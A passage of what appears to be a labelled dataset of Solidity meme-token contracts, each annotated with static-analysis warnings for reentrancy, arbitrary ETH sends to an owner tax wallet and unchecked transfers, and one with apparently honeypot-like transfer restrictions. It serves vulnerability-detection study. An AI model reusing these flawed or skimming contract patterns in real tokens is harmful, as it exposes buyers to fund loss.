50;\n\n maxBurn = TTOALSUPPLY / 50;\n\n isException[DEAD] = true;\n\n isException[router] = true;\n\n isException[msg.sender] = true;\n\n isException[address(this)] = true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _checkLimitation(from, to, amount);\n\n if (amount == 0) {\n return;\n }\n\n if (!isException[from] && !isException[to]) {\n require(\n balanceOf(address(uniswapV2Router)) == 0,\n \"ERC20: disable router deflation\"\n );\n\n if (from == uniswapV2Pair || to == uniswapV2Pair) {\n uint256 _burnt = (amount * _BurnZero) / 100;\n\n super._transftax(from, to, amount, _burnt);\n\n return;\n }\n }\n\n super._transfer(from, to, amount);\n }\n\n function _checkLimitation(\n address from,\n address to,\n uint256 amount\n ) internal {\n if (!hasLimit) {\n if (!isException[from] && !isException[to]) {\n require(amount <= maxBurn, \"Amount exceeds max\");\n\n if (uniswapV2Pair == ZERO) {\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .getPair(address(this), uniswapV2Router.WETH());\n }\n\n if (to == uniswapV2Pair) {\n return;\n }\n\n require(\n balanceOf(to) + amount <= maxminburn,\n \"Max hold exceeded max\"\n );\n }\n }\n }\n\n function removeLimit() external onlyOwner {\n hasLimit = true;\n }\n}\n",
"file_name": "solidity_code_10098.sol",
"size_bytes": 13330,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract FROGASS is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n mapping(uint256 => uint256) private perBuyCount;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 34c2eef): FROGASS._taxWallet should be immutable \n\t// Recommendation for 34c2eef: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 private firstBlock = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: b018b63): FROGASS._initialBuyTax should be constant \n\t// Recommendation for b018b63: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: b02e7f8): FROGASS._initialSellTax should be constant \n\t// Recommendation for b02e7f8: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: dd44bc6): FROGASS._finalBuyTax should be constant \n\t// Recommendation for dd44bc6: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8e16f80): FROGASS._finalSellTax should be constant \n\t// Recommendation for 8e16f80: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0533c11): FROGASS._reduceBuyTaxAt should be constant \n\t// Recommendation for 0533c11: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2702be9): FROGASS._reduceSellTaxAt should be constant \n\t// Recommendation for 2702be9: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 140;\n\n\t// WARNING Optimization Issue (constable-states | ID: c7e9ebe): FROGASS._preventSwapBefore should be constant \n\t// Recommendation for c7e9ebe: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 90;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 10000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"FROGASS\";\n\n string private constant _symbol = unicode\"FASS\";\n\n uint256 public _maxTxAmount = 200000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 200000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 797e372): FROGASS._taxSwapThreshold should be constant \n\t// Recommendation for 797e372: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 100000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 658f1be): FROGASS._maxTaxSwap should be constant \n\t// Recommendation for 658f1be: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 100000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: be10fff): FROGASS.uniswapV2Router should be immutable \n\t// Recommendation for be10fff: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 36340bb): FROGASS.uniswapV2Pair should be immutable \n\t// Recommendation for 36340bb: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: 84147c7): FROGASS.sellsPerBlock should be constant \n\t// Recommendation for 84147c7: Add the 'constant' attribute to state variables that never change.\n uint256 private sellsPerBlock = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: fd27cd2): FROGASS.buysFirstBlock should be constant \n\t// Recommendation for fd27cd2: Add the 'constant' attribute to state variables that never change.\n uint256 private buysFirstBlock = 100;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n marketPair[address(uniswapV2Pair)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e3cb114): FROGASS.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for e3cb114: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1568ac1): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1568ac1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c929fb9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c929fb9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 1568ac1\n\t\t// reentrancy-benign | ID: c929fb9\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 1568ac1\n\t\t// reentrancy-benign | ID: c929fb9\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5592d7f): FROGASS._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 5592d7f: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: c929fb9\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 1568ac1\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ac1e27e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ac1e27e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 0392550): FROGASS._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for 0392550: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b9f150e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b9f150e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4d7edba): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4d7edba: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n\t\t\t// incorrect-equality | ID: 0392550\n if (block.number == firstBlock) {\n require(\n perBuyCount[block.number] < buysFirstBlock,\n \"Exceeds buys on the first block.\"\n );\n\n perBuyCount[block.number]++;\n }\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < sellsPerBlock);\n\n\t\t\t\t// reentrancy-events | ID: ac1e27e\n\t\t\t\t// reentrancy-eth | ID: b9f150e\n\t\t\t\t// reentrancy-eth | ID: 4d7edba\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: ac1e27e\n\t\t\t\t\t// reentrancy-eth | ID: b9f150e\n\t\t\t\t\t// reentrancy-eth | ID: 4d7edba\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 4d7edba\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 4d7edba\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: ac1e27e\n\t\t\t\t// reentrancy-eth | ID: b9f150e\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: ac1e27e\n\t\t\t\t\t// reentrancy-eth | ID: b9f150e\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: b9f150e\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: ac1e27e\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: b9f150e\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: b9f150e\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: ac1e27e\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 1568ac1\n\t\t// reentrancy-events | ID: ac1e27e\n\t\t// reentrancy-benign | ID: c929fb9\n\t\t// reentrancy-eth | ID: b9f150e\n\t\t// reentrancy-eth | ID: 4d7edba\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 8e1e77f): FROGASS.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 8e1e77f: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 1568ac1\n\t\t// reentrancy-events | ID: ac1e27e\n\t\t// reentrancy-eth | ID: b9f150e\n\t\t// reentrancy-eth | ID: 4d7edba\n\t\t// arbitrary-send-eth | ID: 8e1e77f\n _taxWallet.transfer(amount);\n }\n\n function rescueETH() external {\n require(_msgSender() == _taxWallet);\n\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 0ce8c3d): FROGASS.rescueTokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for 0ce8c3d: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueTokens(address _tokenAddr, uint _amount) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: 0ce8c3d\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function isNotRestricted() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: cb20330): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for cb20330: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 454ad74): FROGASS.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 454ad74: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 1eb21de): FROGASS.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 1eb21de: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d3b1c90): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d3b1c90: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: cb20330\n\t\t// unused-return | ID: 1eb21de\n\t\t// reentrancy-eth | ID: d3b1c90\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: cb20330\n\t\t// unused-return | ID: 454ad74\n\t\t// reentrancy-eth | ID: d3b1c90\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: cb20330\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: d3b1c90\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: cb20330\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10099.sol",
"size_bytes": 23114,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract POPCAT2 is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f340864): POPCAT2._taxWallet should be immutable \n\t// Recommendation for f340864: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 54020e6): POPCAT2._initialBuyTax should be constant \n\t// Recommendation for 54020e6: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7beb029): POPCAT2._initialSellTax should be constant \n\t// Recommendation for 7beb029: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 25;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: c907374): POPCAT2._reduceBuyTaxAt should be constant \n\t// Recommendation for c907374: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9be8fa3): POPCAT2._reduceSellTaxAt should be constant \n\t// Recommendation for 9be8fa3: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0b6ce00): POPCAT2._preventSwapBefore should be constant \n\t// Recommendation for 0b6ce00: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 10;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Popcat 2.0\";\n\n string private constant _symbol = unicode\"POPCAT2\";\n\n uint256 public _maxTxAmount = 8413800000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8304831): POPCAT2._taxSwapThreshold should be constant \n\t// Recommendation for 8304831: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 8413800000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1c8a319): POPCAT2._maxTaxSwap should be constant \n\t// Recommendation for 1c8a319: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 8413800000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a4d59ea): POPCAT2.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for a4d59ea: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a6e0d31): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a6e0d31: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 909866a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 909866a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: a6e0d31\n\t\t// reentrancy-benign | ID: 909866a\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: a6e0d31\n\t\t// reentrancy-benign | ID: 909866a\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a0e2fa8): POPCAT2._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for a0e2fa8: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 909866a\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: a6e0d31\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 2cf8bec): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 